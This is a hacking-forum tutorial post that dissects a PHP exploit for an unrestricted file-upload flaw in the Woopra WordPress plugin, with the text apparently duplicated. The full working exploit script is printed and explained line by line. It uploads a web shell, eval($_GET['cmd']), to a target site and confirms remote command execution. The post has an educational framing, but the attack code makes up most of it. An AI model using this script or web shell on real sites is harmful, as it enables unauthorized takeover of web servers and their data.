Exploit Analysis - Part 1 [PHP] 08-02-2014, 11:27 PM
#1
Hello HackCommunity!
Today I will show you how to break down an exploit and analyse it to gain more knowledge about the vulnerability.
Exploit analysis is a skill as important as exploit development. Sometimes exploit developers only give a brief description about the vulnerability and you may want to know more about it. This skill will be useful in those situations. It will also help you to have a better understanding about how an exploit works.
Most popular languages used for exploit development are: Python, Perl, Ruby, PHP, C.
It's to your benefit to know atleast one of these languages.
For a start, I'll break down and analyse a simple RCE exploit for Wordpress written in PHP.
Lets start.
The exploit we'll be working on: http://1337day.com/exploit/21347
A cleaner version of the exploit;
As you can see there isn't any explanation about how the exploit works. So we need to figure it out ourselves!
Lets break it down.
The function getopt() is simply returns options from command line argument list. This line of code will store the values of options '-u' and '-f' in an array.
This code checks if the value of $options['u'] and $options['f'] is empty. If so, it terminates the program and displays a message which informs user about usage of the program.
If those values aren't empty this code will store them in variables $url and $file.
The variable $shell contains location of the shell which will be uploaded. And the variable $url contains the URL of the vulnerable page. With looking to name of the vulnerable page, we can understand that its an upload page without proper file restrictions.
This is the shell we will upload to server. eval($_GET['cmd']) is a code that will allow us to pass shell commands with GET parameter 'cmd'.
This variable contains the header information which we will send to server.
CURL is a PHP library to manage requests in HTTP and many other protocols as well. The first line creates a HTTP handle. The four lines after that creates the request using curl_setopt() function and passes the data which will be sent. The request is sent with the function curl_exec() and response data (which is a HTML page) is stored in variable $source. And the connection is closed with curl_close() afterwards.
This piece of code will check if the HTML response contains the string 'Undefined variable: HTTP_RAW_POST_DATA' (which we assume it indicates that exploitation is failed) and also if the shell page is available. If response doesn't contain that string and the shell page is available then it means that exploitation is successful.
To sum up the exploitation process;
I hope you liked this tutorial
Feel free to correct my mistakes.
Au Revoir..
Today I will show you how to break down an exploit and analyse it to gain more knowledge about the vulnerability.
Exploit analysis is a skill as important as exploit development. Sometimes exploit developers only give a brief description about the vulnerability and you may want to know more about it. This skill will be useful in those situations. It will also help you to have a better understanding about how an exploit works.
Most popular languages used for exploit development are: Python, Perl, Ruby, PHP, C.
It's to your benefit to know atleast one of these languages.
For a start, I'll break down and analyse a simple RCE exploit for Wordpress written in PHP.
Lets start.
The exploit we'll be working on: http://1337day.com/exploit/21347
A cleaner version of the exploit;
PHP Code:
$options = getopt('u:f:');
if(!isset($options['u'], $options['f']))
die("\n Usage example: php IDC.php -u http://target.com/ -f shell.php\n
-u http://target.com/ The full path to Joomla!
-f shell.php The name of the file to create.\n");
$url = $options['u'];
$file = $options['f'];
$shell = "{$url}//wp-content/plugins/woopra/inc/tmp-upload-images/{$file}";
$url = "{$url}/wp-content/plugins/woopra/inc/php-ofc-library/ofc_upload_image.php?name={$file}";
$data = "<?php eval(\$_GET['cmd']); ?>";
$headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;
rv:15.0) Gecko/20100101 Firefox/15.0.1',
'Content-Type: text/plain');
$handle = curl_init();
curl_setopt($handle, CURLOPT_URL, $url);
curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);
curl_setopt($handle, CURLOPT_POSTFIELDS, $data);
curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
$source = curl_exec($handle);
curl_close($handle);
if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') &&
@fopen($shell, 'r'))
{
echo " [+] Exploit completed successfully!\n";
echo " ______________________________________________\n\n
{$shell}?cmd=system('id');\n";
}
else
{
die(" [+] Exploit was unsuccessful.\n");
}
?>As you can see there isn't any explanation about how the exploit works. So we need to figure it out ourselves!
Lets break it down.
PHP Code:
$options = getopt('u:f:');
PHP Code:
if(!isset($options['u'], $options['f']))
die("\n Usage example: php IDC.php -u http://target.com/ -f shell.php\n
-u http://target.com/ The full path to Joomla!
-f shell.php The name of the file to create.\n");
PHP Code:
$url = $options['u'];
$file = $options['f'];
PHP Code:
$shell = "{$url}//wp-content/plugins/woopra/inc/tmp-upload-images/{$file}";
$url = "{$url}/wp-content/plugins/woopra/inc/php-ofc-library/ofc_upload_image.php?name={$file}";
PHP Code:
$data = "<?php eval(\$_GET['cmd']); ?>";
PHP Code:
$headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;
rv:15.0) Gecko/20100101 Firefox/15.0.1',
'Content-Type: text/plain');
PHP Code:
$handle = curl_init();
curl_setopt($handle, CURLOPT_URL, $url);
curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);
curl_setopt($handle, CURLOPT_POSTFIELDS, $data);
curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
$source = curl_exec($handle);
curl_close($handle);
PHP Code:
if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') &&
@fopen($shell, 'r'))
{
echo " [+] Exploit completed successfully!\n";
echo " ______________________________________________\n\n
{$shell}?cmd=system('id');\n";
}
else
{
die(" [+] Exploit was unsuccessful.\n");
}
To sum up the exploitation process;
- The page /wp-content/plugins/woopra/inc/php-ofc-library/ofc_upload_image.php is vulnerable to unrestricted file upload.
- Desired filename is passed with GET method under 'name' variable.
- Source code of the file is sent with POST method (raw post data).
- Location of the uploaded shell is: /wp-content/plugins/woopra/inc/tmp-upload-images/{filename}
I hope you liked this tutorial
Feel free to correct my mistakes.
Au Revoir..
Fuck You.
![[+]](https://sinister.li/images/modern/collapse_collapsed.png)
